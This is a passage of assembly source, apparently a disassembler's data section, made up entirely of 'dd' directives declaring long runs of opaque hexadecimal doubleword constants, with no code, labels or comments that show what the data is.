		dd 0D0C4273Eh, 0DED50020h, 0CC8964F7h, 4E037212h, 21BAE522h
		dd 0B82CAB0Fh, 0B74ADDh, 0ECB460B2h, 160EF727h,	3C5AA509h
		dd 85E80180h, 44F4AE2Dh, 45643DEFh, 96F76D80h, 117526F1h
		dd 1D28C448h, 5B406810h, 1DE75658h, 25AC00A4h, 0FD22B98Dh
		dd 50EC26FFh, 3EB1000h,	0FC97ED5Ah, 0C6A00009h,	6727D963h
		dd 0C900D236h, 2623C76Dh, 4839DCE6h, 62090C68h,	1600CBD1h
		dd 190E6524h, 36978300h, 75C4BBAh, 44B40084h, 0B79FD895h
		dd 7800BD5Eh, 13D7E59Bh, 5FF3B5h, 0FF074D84h, 7571FD79h
		dd 77000D78h, 69281C46h, 87F5F7h, 396C8F9Eh, 795E6BBAh
		dd 5DFE5C00h, 0B5B1E97h, 0D7C50224h, 7F8FE86Eh,	4C83D0A0h
		dd 4D007876h, 6F226C04h, 0FC5077h, 3A97D39Eh, 0CD1FF4E8h
		dd 0E5A23600h, 0C79C252Ch, 697900AAh, 5F9B0232h, 0B8773E93h
		dd 0EAF27704h, 14C050C6h, 77629888h, 3D850CAEh,	0EA70D3CEh
		dd 2025A531h, 0C1F34D49h, 119E0EA6h, 0CEAD042Dh, 0E4DAC05Ah
		dd 547EFBEEh, 30CF73Bh,	458356A9h, 47ADE06Fh, 0BE250140h
		dd 0D1D9588Fh, 7D6180CAh, 946CD434h, 0BAB2A048h, 3D350179h
		dd 62C553B7h, 5AF88082h, 5CE8BFDEh, 38586F8Eh, 6916980h
		dd 0EB247E95h, 760092CBh, 84D2567Ah, 4C800028h,	40B520FAh
		dd 0F31C9B68h, 4B8024B0h, 0BA9F85C5h, 9896ECD5h, 181B0065h
		dd 8EB4C349h, 0EA001A99h, 80F6B04Ah, 7CEFFB33h,	15F000ABh
		dd 0EEDF2597h, 0B600E241h, 76BD1214h, 0F3D76Dh,	4DE011ABh
		dd 0C6E9BB24h, 79045600h, 0E3A5C1CCh, 2E1F1F7Eh, 80251F89h
		dd 0F35BAC01h, 0DC00B63Fh, 0F620DF40h, 0FA0BD198h, 0D121FC9h
		dd 0E3278013h, 0A3B15C47h, 84CD293Ch, 680946EEh, 0D4C53B80h
		dd 9D0600F9h, 8D7A8321h, 0CB000C29h, 0A0CA33C9h, 0A8E781D7h
		dd 7CC23A0h, 0D3700DC0h, 0DDA8C0FEh, 6AEA06FBh,	3FFD8802h
		dd 80186420h, 0CEB9ACACh, 0F808015Ch, 7172EA25h, 0B809F069h
		dd 0AF491C06h, 159EBA1h, 69323B2h, 40CDF59Fh, 0CE33E8CCh
		dd 35A7691Eh, 0AECC4D01h, 318F5C9Bh, 0E7C09264h, 6B97562h
		dd 5924A200h, 9102D543h, 0C80E00A9h, 8B67E3F1h,	0A3007E51h
		dd 5C1AB3A0h, 0A8F078Dh, 9DAF17B9h, 7F938F28h, 4800A2E9h
		dd 6243EF1Dh, 0EE6E0500h, 65BF6B3Eh, 0D6E33FD1h, 0B3DF0E00h
		dd 0DE705104h, 3C0A8270h, 0C7AB945Ch, 2AF8302h,	6A2C81F0h
		dd 0EEC4605Eh, 8C275469h, 0DD6500C0h, 570BE574h, 0FC00687Eh
		dd 8C8E3F73h, 887F48h, 8291875Ah, 83BBCC66h, 0FEDBA900h
		dd 0B6026229h, 1FA73DC4h, 808FAE8Dh, 0C1041ECAh, 16C61104h
		dd 456AF0h, 9801F30Ch, 0C7712A93h, 64AB3301h, 7CE7E15h
		dd 1FDA85F0h, 1F25D2F9h, 543C0C66h, 13D8F18h, 0B19F98AFh
		dd 31729059h, 8B519C1Dh, 18F208D2h, 29C57E83h, 6007BEAEh
		dd 0FFEC42FDh, 288D2AC0h, 0DC581705h, 23C2017Bh, 20AF7AD0h
		dd 0B9CA119Fh, 441802Fh, 5C00817Bh, 714498C0h, 0FDF10085h
		dd 5DFCE0AEh, 20537905h, 0A7091070h, 0A4CA3E00h, 0E1B35A2Fh
		dd 7CAA2C01h, 0D013DA8Bh, 1A64E89Ah, 0F094B8C1h, 831BEB99h
		dd 0F069A863h, 53FEE94Eh, 2A004CAEh, 46741311h,	981081ECh
		dd 0AF053B2Bh, 2099D436h, 0FDB090C0h, 0F4607E72h, 9F0924A8h
		dd 0E938C5D4h, 0C7A841DCh, 4954B848h, 0AB040FF8h, 0A7C3E90Ch
		dd 0AA281F10h, 400D069h, 0B0810D59h, 90EB96C7h,	0ACE9005Ch
		dd 19B31833h, 29C44BAFh, 5844122Dh, 454048C3h, 81280832h
		dd 24E4C642h, 460221A4h, 14823512h, 98249A45h, 0CCC4C840h
		dd 0F900087Bh, 220C64C0h, 165AAAh, 64A1ADEh, 0AFB55883h
		dd 0EA687500h, 864B80FCh, 0F6D50098h, 2C077684h, 0F9007278h
		dd 0C56B12A2h, 0F49568h, 8F9CDFBBh, 0A0481E75h,	90B11A00h
		dd 0B136316h, 18AFA7Ch,	32244237h, 0E4BB48AFh, 3B0C924Ah
		dd 113CC1E5h, 0AA700F2h, 2B3FF62Fh, 68554F65h, 451BECB4h
		dd 71FF801h, 0DFD883E6h, 34AAC4h, 0D917356Fh, 109D67E9h
		dd 9B86D200h, 90C7C261h, 0FF3F001Ch, 0DBACAA32h, 6500B171h
		dd 57AB59EDh, 690C53h, 0A3BDB4AEh, 0C9B0143Bh, 16A18000h
		dd 189057D9h, 4DCB382Ch, 0B125BA09h, 88092CA3h,	6C26E878h
		dd 30004D20h, 0ED978EC6h, 6AEE0028h, 474ECE89h,	0F0004A73h
		dd 5EF94D79h, 0C3FC3h, 0C1D7BAD4h, 0C468C729h, 40512000h
		dd 3858D69Dh, 0DCB800E1h, 9BE3C317h, 70605422h,	41B48918h
		dd 7E52037Dh, 0B601B5C4h, 10E04F90h, 0BFDF4700h, 7BFC17E2h
		dd 1B3800DEh, 34910FC3h, 0F0054558h, 4E37036Fh,	0D7859400h
		dd 3652E29h, 476CF580h,	0F4C056B3h, 3A1F5B01h, 0A340743Eh
		dd 0A8039116h, 0BFF61EB7h, 0F4C600BEh, 0B9D07A9Fh, 5C7CD700h
		dd 7F8624FBh, 0C4361ED2h, 124485AEh, 2FDC019Eh,	0D47DA271h
		dd 90E0D75h, 20242213h,	74BBFB81h, 86B707BDh, 501CA360h
		dd 0BF49F02Dh, 0BE008C98h, 0E39FBB6Eh, 7BAC69FDh, 0DC1F09A0h
		dd 0A3A0C34Eh, 9FCFA0Ah
		dd 0B087DF01h, 51500514h, 724F06Fh, 9503E400h, 0BE0D9637h
		dd 6AF100A4h, 0AC4A89D6h, 0FE7555A3h, 0D3A45A54h, 80501D3Fh
		dd 2C9B8C27h, 3DBBFC96h, 5F802BACh, 0C9DF394h, 0EC60CC13h
		dd 0B85C679Ch, 39D90011h, 6A822CF7h, 900021C0h,	0A0AFCBFAh
		dd 0A66889h, 14D2F625h,	464AF275h, 0F954E000h, 0F4EA719Fh
		dd 0FEDE00CDh, 0A47A4FA1h, 0CE007C01h, 0D9124C4Ah, 0EAAF30B7h
		dd 35501D6Dh, 4980F9BAh, 75333440h, 3909BE07h, 78ED8E1h
		dd 5F20A08Ch, 0B861AAAh, 859AC3B2h, 0D7D99980h,	4C0356A6h
		dd 14735548h, 90490F26h, 0CF430CC9h, 0B7981806h, 783CFC2Bh
		dd 27098010h, 514B9C22h, 434D5C45h, 413B8900h, 0BEE86B0Fh
		dd 0BBD8A20Eh, 63FA80C7h, 230DDBh, 0BA62E545h, 0C6DAF154h
		dd 93795200h, 0E834D714h, 488909D1h, 1800753Ch,	44774E21h
		dd 0CA005070h, 5D59431Dh, 0FCE879DFh, 0CBD600BCh, 4A508CDEh
		dd 0F04EB32h, 0A93B40ADh, 67E604C0h, 0DB1B00ECh, 0AC045F19h
		dd 7A00CBC3h, 6BBAFF3Bh, 7AD2526h, 8BD49D55h, 6A6100CAh
		dd 0B40038E6h, 6616EA17h, 6D5B4Dh, 187302D6h, 0F49AD825h
		dd 7F5D1B0Fh, 0EB3C409Dh, 0CFA7ABh, 43DDD5BEh, 0FB6D4DDEh
		dd 708EC326h, 0EF8999Ch, 0C0A8A012h, 6CC8727Dh,	3A60EA89h
		dd 8F8004F2h, 0F9DFC673h, 0ED093B88h, 0B92FC7h,	0B62B740h
		dd 0EC724Ah, 950A72B5h,	9810EEE9h, 62CF407h, 0DC507F50h
		dd 522312h, 0A0ED3157h,	5FE56614h, 86B08861h, 0DD302DA5h
		dd 458B03B8h, 0D8702812h, 0F5F20590h, 1AC53200h, 0A8ED43F0h
		dd 4DB9008Bh, 7D19403Bh, 644CB475h, 6BDC003Ah, 8B632BC0h
		dd 0EE32E2D1h, 0D304303Dh, 224AED19h, 729C3B00h, 0D1C52384h
		dd 0B8A50088h, 63E5397Ch, 6590E144h, 41EBC701h,	2DE6DF1Fh
		dd 7A31E7DCh, 0D9530758h, 0C344884Bh, 0A4F00335h, 4D737BA5h
		dd 9B05ACFCh, 0AB8B3DE5h, 77B6F005h, 0C9A9C040h, 5263D4h
		dd 0E8ACA9Ah, 35F6380Ah, 44F2FD50h, 93DA9B00h, 0CFB7BB70h
		dd 0F4A50084h, 2B9D76E6h, 0F20526BDh, 0DA15F5C2h, 8F6B9807h
		dd 0EC70F017h, 0B2A50CD8h, 0DE9B005Ch, 52AA9D48h, 0BD0F94B2h
		dd 0E30BDDC5h, 88835BB7h, 446ADAh, 8F0F1CCDh, 169ADC49h
		dd 1D8AF00h, 0EDFF12FAh, 14F73EFh, 0EB368D3Bh, 40E97D8Fh
		dd 0A282BF50h, 1C541E3Dh, 0CD40CAC5h, 8377FC38h, 0A62F0003h
		dd 0B21F136h, 0AA26C0D4h, 0E2006465h, 0F66D4518h, 0F5823004h
		dd 64D2D618h, 7C378D0Ch, 3AAEC190h, 2060D7F8h, 547D5501h
		dd 0D900ED72h, 0E4896138h, 0FC72BCA0h, 3103E88h, 3D1C844Ch
		dd 621F80DAh, 0F49B1776h, 288FC400h, 4B1A5D5Ch,	9ED803FEh
		dd 0A158366Fh, 0C369F7D0h, 1C5EB000h, 0DFE07319h, 0CD020023h
		dd 0B4E19848h, 88BACB6Ah, 3B10FD4Ch, 25D83A4h, 80638BF9h
		dd 0EAE1B22h, 0BFB36C17h, 0FFF1EC0h, 0BC39ABD5h, 48918F9Eh
		dd 5BB60793h, 0B0F44F60h, 0DC8700E9h, 79CD9D07h, 2A019910h
		dd 5470DAACh, 0AA8EDB4Eh, 409EB65Fh, 0C949E95Eh, 7CFE4011h
		dd 56F5948h, 6B43D280h,	1CA1D4D0h, 679E3AF3h, 0D3995084h
		dd 5CC4A0DEh, 0D23EDF78h, 3B6803Dh, 0A6F2AC5Ah,	576C1E86h
		dd 0A08C5306h, 0C7F8E055h, 0A430C200h, 0BEB0EB12h, 722C0E35h
		dd 8CE13C68h, 0E8D270E4h, 0C6073B08h, 0B34B7AA1h, 6B54002Fh
		dd 0A0DA50h, 92BEA30Ch,	0B23BD180h, 866AE4E5h, 1DBAC500h
		dd 91BD7B36h, 0AEA400FCh, 5C9BB22Ah, 0DB004298h, 37CB0288h
		dd 60B6DDA8h, 5066C0E2h, 0EB009623h, 8C7F081h, 1F310637h
		dd 0D7B69AB7h, 15C40FA6h, 0DDFCD720h, 0AA073FADh, 5E0DA8EEh
		dd 8C4B406Eh, 0B876494Eh, 0A6CE1226h, 0B41405D2h, 95D900DAh
		dd 25667BAh, 8176F32Eh,	0EE24C00h, 9AF978h, 0C0FA2C3h
		dd 72DA8EBEh, 27074770h, 0D568F333h, 0EE5E8350h, 0FEE407E2h
		dd 0B0F65734h, 0B8AE7490h, 0D0601F04h, 0CFAD8Ah, 0A30AD4A2h
		dd 1A98003Eh, 0B3A0E753h, 4790008Dh, 2442AC3h, 330048F7h
		dd 87B6EAFFh, 0F56D60h,	1D3DC18Dh, 0B850F872h, 72FEE48h
		dd 73F74D82h, 188078C0h, 0C3A70039h, 0B20A677Fh, 953A770Bh
		dd 2DAF8023h, 0F2573E0h, 6AADA011h, 0E8BC00DCh,	82B939B1h
		dd 2030DD29h, 93A42189h, 0A6430033h, 4E27C08Bh,	5AF45D9Ch
		dd 0BC0358EEh, 0BDEEE613h, 0A328A024h, 7DB430E5h, 62941F11h
		dd 0BC9C8700h, 88B34473h, 72DFF401h, 4069012Bh,	0AB60823Fh
		dd 0FCE320A6h, 5653EC00h, 0F3467614h, 52FB0037h, 9BFDDC6Ch
		dd 3F00B0DDh, 0A1E5279Ch, 0D3CC21h, 0C760890Ah,	8F0C3316h
		dd 0FDBBC401h, 347D7F11h, 18658C40h, 2DD800E0h,	3317C345h
		dd 2E00BBB1h, 6288C493h, 0AD9558h, 53120222h, 0E0D7B85Ah
		dd 859C3E3Dh, 87D88C18h, 4C168400h, 0DAFAB9h, 7D56753h
		dd 5E1F2A1Ch, 98798A0Eh, 0F437A0B2h, 0FF0E3Bh, 0DE9670C2h
		dd 6C8C7C1Ah, 9A93Eh, 2539F2B5h, 77F188Fh, 5998DCDh, 104A5024h
		dd 0B207CBFCh, 7AF208DFh, 82FBF890h, 41C73FA9h,	5B3DDD80h
		dd 451B01Bh, 1006B78h, 91F80969h, 3B45864h, 41FA0B31h
		dd 0D0F7F9EBh, 0ADC6F106h, 73AA503h, 448B91h, 0B34FA948h
		dd 2EEF5987h, 0CA99C500h, 7364CC90h, 5AD70086h,	0FB7B151Ch
		dd 810F19A7h, 0C0CB3556h, 0F9776469h, 1BD40047h, 0EB838482h
		dd 9C002926h, 5868B2C0h, 0E8F0621h, 33C12407h, 2500C754h
		dd 9347CFA1h, 6E009E5Dh, 1DF33BDBh, 73F1F0h, 902912B9h
		dd 7B8AAF97h, 0E1D99F2Eh, 0DF280B0Ah, 8FC0C301h, 7EF84FABh
		dd 0A0E200F5h, 24026477h, 8200EDE4h, 3B4643D5h,	0CA2BD0h
		dd 8B53ACE8h, 1E7622DCh, 673160BDh, 98EB4C85h, 971A703h
		dd 0BDD86D16h, 6379BF22h, 0F091FA03h, 95F212h, 0ED843C29h
		dd 1DB5FC47h, 3D0776F2h, 99244BB6h, 11D092D7h, 0A2342Fh
		dd 0C1A731E0h, 1F7EF2E2h, 334D21C0h, 7B04E55Bh,	0C574003Eh
		dd 0BC7D90E3h, 0C9720B60h, 0FA4F491Eh, 98116D18h, 78224C58h
		dd 151A0D00h, 7E862AD7h, 5500A5EAh, 2F6AD0D4h, 0E4DA7D6h
		dd 485C1263h, 30A176E0h, 0D42F6FE8h, 0DC5860h, 0A2AD27CAh
		dd 84682E66h, 0A423241Ch, 40701170h, 74C01EEAh,	2704C77Ah
		dd 0B2D6C043h, 97E62D85h, 0A845BB00h, 0D17149Dh, 8783300Bh
		dd 0B738B5DCh, 10560900h, 0ED725433h, 0DA790063h, 3C519F80h
		dd 0BA002455h, 4A44E01Ch, 3D23A0B6h, 1AB0D059h,	2D8B7D10h
		dd 24C3C638h, 0D506FE2Ah, 2EA682Bh, 0A56593E6h,	2A4028CBh
		dd 3C0F38B2h, 8052A99Fh, 4EE9DB1Ch, 4FA40FFDh, 5820936Ah
		dd 8A1E22F4h, 43DEEE00h, 1AE0E7AEh, 0C915006Eh,	0A042D701h
		dd 0E100175Ch, 45B70E81h, 0A06C5350h, 7B9E84A4h, 31493AECh
		dd 636A1B87h, 0EF5490C7h, 0C400FC77h, 0D3502A5Ch, 410B0BAh
		dd 8464254Eh, 0B65880CAh, 412446BCh, 0A7004EA6h, 6DCC4B13h
		dd 0A3800D4h, 0E6E1C194h, 0CE008541h, 0BF7CEF3Bh, 0F1634Eh
		dd 0D7FDB5CAh, 0DDE35DB2h, 0FFF01718h, 261B11h,	416F9BAEh
		dd 51C25F04h, 1D28A501h, 60B54EA7h, 0FD3779F0h,	93B2D0h
		dd 0F8E1102Fh, 9D996E43h, 9A28E900h, 0B50CF175h, 79F602E6h
		dd 4894B21Fh, 616BC080h, 6300FAD9h, 0AFA8C3D6h,	0C672B7h
		dd 59E8527Dh, 0A189B19Bh, 8A513F01h, 50C30649h,	3BEACC40h
		dd 0C0E97786h, 302A16A8h, 2818370Ch, 2EC8623Fh,	35C805C2h
		dd 80252906h, 967A5F48h, 0E9FF4900h, 9C95A2A8h,	0DA870056h
		dd 980EFD5Ch
		dd 0CB60146Ch, 367CD6C8h, 61E415h, 22E6C579h, 0CC946FBBh
		dd 671F5700h, 78529BBCh, 36CB4C8Bh, 0BD62Ch, 4741B2ACh
		dd 1E0EA4F9h, 793CEFAh,	0D44459F1h, 22388B80h, 0C8A9518Ch
		dd 5724D0h, 0D9BC2E0Bh,	516F5DFEh, 2F1D4C98h, 5ED8404Eh
		dd 0F8CA8638h, 7FDF0422h, 882ED084h, 0BE3CFA8Ch, 0D7251FEEh
		dd 0A16913C1h, 0B6805696h, 0B09A9474h, 7C000A88h, 2F656D02h
		dd 33B20E9h, 759B1924h,	26F04595h, 270752B9h, 0CDFB8D51h
		dd 48D871C4h, 0D2F70037h, 0EAF1D8E9h, 3F0024B2h, 0DC056BB1h
		dd 2196F17h, 0B6DFEC36h, 96E101E1h, 630424D9h, 0F615D004h
		dd 6C807A1Bh, 0B4A136h,	3569D83Bh, 48EAA5C7h, 388F3F00h
		dd 6E21F37Dh, 999700D4h, 4A384ADh, 0BBF6C664h, 0CC5521FDh
		dd 9C04D979h, 31BA5E53h, 80014C5h, 706ED67h, 3A2E00E3h
		dd 32F63D9Fh, 0E5009638h, 0F28F4F29h, 0F81ECE6h, 588297D0h
		dd 0F212AFh, 2CB28762h,	0C0034692h, 0FF017C4Ah,	33D6FF6Bh
		dd 40051261h, 0DB0C4186h, 0E0550D1Ah, 0A3050C07h, 30AF4C3Bh
		dd 14331005h, 0C3B61C00h, 0CEB7E6A6h, 798FF408h, 2132ADC6h
		dd 865C11E4h, 3ECB00FBh, 2BCAEAB4h, 1E4F7E1Fh, 5F2DFC66h
		dd 73EF80A6h, 36F2FE3h,	0E79B940Ch, 0FCB840E6h,	32E913A6h
		dd 0FF5900CAh, 14D720C8h, 6C3E5B07h, 0E5C034A3h, 7BA9ABDh
		dd 0B6E89E13h, 0E1B310C7h, 9D0153D0h, 6932A705h, 0E5600EAEh
		dd 73EC12E7h, 71E840EBh, 0A3B667C7h, 0FC97C8C0h, 2E0104h
		dd 61AB12E7h, 326D4F0Dh, 4C006A98h, 381023D2h, 2009FDh
		dd 0CC06BE9Dh, 7497D7CAh, 6C00BCF2h, 0D9DB4FB1h, 0F2358B3h
		dd 0B86D5ACBh, 0D7602B82h, 193EE80h, 0A8A8850Eh, 7100F8D2h
		dd 52F73B9Dh, 742733EAh, 21986053h, 0CF71F974h,	76260103h
		dd 38379B54h, 24D8F248h, 1B57DB16h, 201068C0h, 0E166921Fh
		dd 44670D6h, 0C871FF1Eh, 99C4CF3Bh, 71F04740h, 59071BB1h
		dd 0AA2DF9DAh, 6B76723h, 17E7BB79h, 5410D936h, 0E1060963h
		dd 18378BB1h, 58F31909h, 4F04101Bh, 0E5C500A0h,	6EA6FBB7h
		dd 8CCABB0h, 26F52147h,	2CD9C5C8h, 14410000h, 7613DD69h
		dd 6B28D00h, 5B7DC0C4h,	0F2F834h, 102E2272h, 2A0D2C63h
		dd 4050A209h, 8DD381E1h, 3CC11F0h, 0CB3E00D0h, 8882F63Ch
		dd 5003C844h, 42B513B4h, 63420226h, 0D5C5164h, 0EC807CC2h
		dd 0D0A1E3E7h, 0FFC63Eh, 87316E0Bh, 0B9F9C0h, 0E46174A7h
		dd 9A2AE3ABh, 59FC3C00h, 986312FEh, 76BFB0BEh, 0E21C0087h
		dd 4B2A4EDEh, 9300C311h, 0D564F061h, 0E1ADC4h, 0CC9AEB08h
		dd 0A368B45Dh, 0E0123900h, 1A0F612Eh, 0B02F005Ah, 4B6752D5h
		dd 89FA2398h, 76E2D600h, 74D933F6h, 0E1FFAFCh, 8720B5D3h
		dd 6C238018h, 0F67253Fh, 0E0A48E5Bh, 135E18DEh,	912B0B64h
		dd 480F800Eh, 0C83108EDh, 0D800F8B1h, 0A8D331A5h, 371036B2h
		dd 0D0B16FB3h, 894C9CE6h, 225DC800h, 0BA3174A6h, 0F140D72Fh
		dd 0C6CB20B5h, 0D25ECC0Fh, 0A3934366h, 89610030h, 53B7195Bh
		dd 490A43C7h, 0BC2AF005h, 38874186h, 0CAD50029h, 3C52F68h
		dd 0C83B97CCh, 0A7F0159h, 67776496h, 0C42E03DAh, 0FDBD1888h
		dd 0AE68CF00h, 0D11C322h, 4E5D00A4h, 0F2AC5675h, 2CFA5406h
		dd 0D838EB0Eh, 0EE67878Eh, 0ECA8B8C0h, 2380B584h, 7CBA2290h
		dd 8D1353EEh, 0E300F47Eh, 3FDC9814h, 3BD23910h,	0D33000F4h
		dd 0C5ED517Dh, 2C0C4386h, 85394A7h, 0DB21C069h,	1896EDEAh
		dd 0FA7AB10Fh, 4CC01E6Fh, 0B4608C98h, 0CA191CE6h, 9AA44126h
		dd 8C2F3DDCh, 812BC38h,	0E8751Dh, 0DA7D21EBh, 0C094541Fh
		dd 19E5CF0Ch, 0E10202Dh, 0F6B35262h, 78E280DFh,	9671FB20h
		dd 7F19C009h, 829C8177h, 1881516Ch, 1C5DC3F8h, 1EB1F078h
		dd 0B998CB07h, 50807916h, 3A7DB643h, 0B480E162h, 0C4A2F7B1h
		dd 3C0082A4h, 97A7DDA8h, 149A1529h, 0A861BE41h,	0CD6B0E00h
		dd 0CF807317h, 5362AF00h, 0A9695823h, 81970CB4h, 6738BEF3h
		dd 3F0FFE78h, 0A091764Bh, 0AC944936h, 0D7EFA0B0h, 0CC67C8Ch
		dd 74681BE7h, 0CA002068h, 9E94ED62h, 0F0608431h, 0E9DA0050h
		dd 883C7098h, 18F87AFFh, 930328E6h, 0C04896BBh,	7019005Ah
		dd 0A38F2B9Ch, 44A0F922h, 986535DDh, 64C3F660h,	5CC2C847h
		dd 878A0080h, 0A0C917C1h, 0F072C12h, 929DE299h,	0AB19FDA0h
		dd 303750Ch, 59CC2C6h, 48036F37h, 0ACA5A0BEh, 0EC781550h
		dd 0B03E94B1h, 48143DFAh, 60BCFA00h, 61CF2064h,	1CF79D01h
		dd 937DA60Bh, 96FC5087h, 920E606Ch, 9500F9A4h, 0DF1898CCh
		dd 0C00BC1h, 0A33F6117h, 0F75EA6D0h, 2065F2F8h,	42E2E11h
		dd 2F0BD1C3h, 807B1000h, 0EC18BE76h, 0AC050314h, 0F98FDED0h
		dd 1EF793A0h, 2EDB4E03h, 21637822h, 3004F829h, 7A04D2A7h
		dd 62DC444Fh, 0C942FC48h, 208624A8h, 83B4CF7Fh,	126A2184h
		dd 14627994h, 24C4213Eh, 26807F88h, 62407Dh, 0D3D1F0F1h
		dd 0E100C020h, 0BB278E71h, 170CDF7h, 0A4118A95h, 0C876625Bh
		dd 0EF00C926h, 0CD7740DDh, 0ACC466h, 67E3F016h,	9A9E1EE0h
		dd 4870D700h, 0BBCA9C6Bh, 41B403B9h, 2A0C374Ah,	5919FBB0h
		dd 0EF28480Fh, 988DE0E8h, 521439h, 0ACCDC2D7h, 69999CC7h
		dd 81E52800h, 0EB19F14Bh, 430A3AFFh, 0AC363980h, 84D8C610h
		dd 3044672Ch, 6840291Eh, 2AB1DB8h, 5ECE00D0h, 16E38C88h
		dd 0B2009C50h, 96396A09h, 7B84657Ch, 0CF5131D8h, 0F4D3DE60h
		dd 0C3007630h, 38D4FE4Fh, 0F4854C2h, 66B4703h, 737217A0h
		dd 9300929Bh, 0F3EA3FE7h, 159FF7h, 0FC88D91h, 43DDDFAAh
		dd 3CFFE103h, 0B8497965h, 57A3D6h, 0ACE20A15h, 50178778h
		dd 8F6E018h, 795A90h, 0EE8EE418h, 0C156CBA0h, 30F87B0Eh
		dd 37462075h, 59FA2A7h,	8B8D4248h, 3910C03Fh, 26391B0Dh
		dd 0A4678097h, 83DD637Eh, 0E2730042h, 8F2EFCBDh, 0D000F321h
		dd 93290CB6h, 0E0E37Eh,	3CEEAD31h, 3962ACFBh, 0B286B001h
		dd 4ABD6592h, 7576E4C8h, 44C00FAh, 74370D72h, 540184B4h
		dd 9F46FD4h, 0E2F818DCh, 635E005Ch, 24F50723h, 22003795h
		dd 0B4E8F1C2h, 8013C5h,	4520C8B0h, 0A834C1AAh, 0BF9E9C00h
		dd 0A4717894h, 0D4250024h, 7B034B76h, 0A3795C4Fh, 0B57D1B03h
		dd 0A051736Dh, 0EC96DFh, 0B4C7A863h, 0E637A67Bh, 9C98411Eh
		dd 0FCE17200h, 5B2BBEh,	2841A5Dh, 8A1CE256h, 9509F1E6h
		dd 0ED93C98h, 3F416064h, 0F4C275E6h, 0F02700B5h, 0BFD46849h
		dd 56000E16h, 2C13423Eh, 0E4B7AC8h, 0D88C5E83h,	0FCF0B401h
		dd 0C6B07BB9h, 904800C1h, 0C8762385h, 1F7AA2F4h, 0F2E62F00h
		dd 0AD18D7E5h, 3C9F007Dh, 4F14955Dh, 6103A56Fh,	8BF72ACh
		dd 8EF28882h, 0C4F9009Bh, 418B2C56h, 451E6703h,	69C3C32Fh
		dd 0AF863C8Ah, 0F2E1D170h, 0AB23C71h, 0D9A5D0h,	0B7FA18D6h
		dd 0FD30FCA7h, 5650ED05h, 80EAF021h, 0D6FB241Ah, 2A187C00h
		dd 0B678B55Ah, 5280077h, 0B95898DFh, 0A6027668h, 95BAFF45h
		dd 4244025h, 4F320046h,	0AC7713BCh, 61727AEEh, 8310A61Eh
		dd 6342791Fh, 40FF2217h, 0B6599h, 745408EFh, 831A0419h
		dd 70A0D407h, 1355A8EDh, 0DE3B8580h, 0A1550028h, 0CB3F86B1h
		dd 9F0F8F03h, 6046BF1Ah, 4E2BE50Eh, 71D300E8h, 0A290B193h
		dd 627C2806h, 55325201h, 0F3CE2594h, 0C764D4h, 0D5FE14C4h
		dd 110B1B81h, 6C68060Fh, 0BFC3A5CAh, 0FC2DE000h, 192BD1Fh
		dd 80C190Bh, 0F0B03810h
		dd 0D7001548h, 0DBD85F75h, 74A7B65h, 0ADA1979Dh, 9AF0506Ah
		dd 833A3107h, 595830Bh,	0B8200667h, 103F468h, 9C38F25Bh
		dd 0EC6AE822h, 69007BF5h, 0E9F667F3h, 7CECDA5Ch, 16890736h
		dd 103D22C7h, 0D5F8CBCEh, 45433Bh, 0D0C16514h, 89861h
		dd 0EFB788C8h, 36CF6B39h, 97B25D01h, 0ABC31D99h, 9DE7F4h
		dd 2AAD8D55h, 2BA92DA2h, 0D4DF6E00h, 29D1690Dh,	0D5BD03BFh
		dd 0F74F4082h, 2ED830A8h, 2B91E900h, 5D448D75h,	3F53006Dh
		dd 8546980Fh, 4CEE0DF6h, 14AD5700h, 8848F8Bh, 7FFA3D31h
		dd 6E616782h, 68405133h, 0F95C0E9Bh, 901C000Ch,	0C185E11Bh
		dd 5F000A1h, 931DA945h,	0C5F0EE0Fh, 0D271271Ch,	1AE49C00h
		dd 3168FD1h, 78A2328Dh,	0FAF20E7Bh, 0C6B74460h,	80DE5239h
		dd 4FC8BF1Ch, 0D05371h,	0D95134ADh, 7F9695E7h, 10523D00h
		dd 533E1D7Ah, 0B87E0B2Dh, 79005AABh, 1828B01Ah,	0A9843Bh
		dd 0BFCB818Fh, 0AD2956h, 5500BECh, 208AD121h, 6614F100h
		dd 0DB789245h, 492E00E6h, 0D59B573Ah, 0AF001CE9h, 0D4BB750Bh
		dd 2740DC7h, 0C3E1BAE7h, 0C6E072EFh, 341E60D6h,	0FD7A7B0Ch
		dd 0F401A579h, 55416BA7h, 35F4638Ch, 80AA008Bh,	3F195070h
		dd 3001A39Fh, 4616E7BBh, 10C0ED7Eh, 66FC3Ah, 0F84ED1BAh
		dd 5CD9CBA8h, 38F96A38h, 0AD05F4C5h, 0D6238AA6h, 4A00EC1Fh
		dd 3C5AB390h, 99D80E34h, 45E1E7A9h, 3011BF1Dh, 0D000AA68h
		dd 0AC8FBF5h, 0E8097656h, 60AB0078h, 435C5F14h,	0CF8F9B7h
		dd 7F11E600h, 3FB0B77h,	530107B0h, 90B82065h, 7E5793D1h
		dd 0A7A3861Ch, 7D5D7480h, 16103522h, 0F1551Bh, 65CAD6Dh
		dd 0D70014EAh, 35A2C086h, 164402h, 49F5F8B7h, 5CB254FDh
		dd 6AF658h, 0FB9F414Dh,	2FC9CF91h, 5F5882ABh, 0FA00D7FEh
		dd 0A401F927h, 3DA77Fh,	94B61EBEh, 0EFEA9F76h, 135BDF48h
		dd 898006A9h, 3A910Ah, 0CB905E33h, 0E7CDE244h, 813E7000h
		dd 6C4B2A3Fh, 7E4E0EFBh, 1B604D57h, 0C63A1356h,	0FED92B03h
		dd 0B9A573A2h, 0F040F398h, 959E2Dh, 1163BB1Fh, 0CEE723DBh
		dd 352A64Ch, 96E15061h,	60A2D8FFh, 0FE1D009Ch, 2758936Ah
		dd 1F033084h, 879B10BEh, 8191E8E1h, 0A0233877h,	8C620202h
		dd 0C3C017AEh, 0AC009F4Ch, 1DEB3D47h, 30568C8h,	0CA12CF5Bh
		dd 0B5B0D173h, 3C0923D8h, 88FCFBC0h, 0D9018D14h, 1E1D5FBAh
		dd 7DC31D8h, 0A83BEE9Ah, 2A16A007h, 0BBF2C508h,	0E20ECE33h
		dd 56ADC8CBh, 1C1005Ah,	819A424Dh, 5EA23EAh, 97FD0E2Ch
		dd 0BCB6800Ch, 90FA3C79h, 38251198h, 0FF12C094h, 9900F453h
		dd 0D8E2052h, 1420E11Fh, 59E25Dh, 1507DC14h, 2F80B8Ah
		dd 0AFA3FF00h, 0A6718178h, 1F37FF9h, 0D2D61561h, 0D4EA60D1h
		dd 6A007320h, 0F611AECCh, 8B70C70h, 0FA1D48DCh,	6D0F801Dh
		dd 0DFC6C30Bh, 67DA904Fh, 78A79BDh, 0F0C81564h,	85FA10F8h
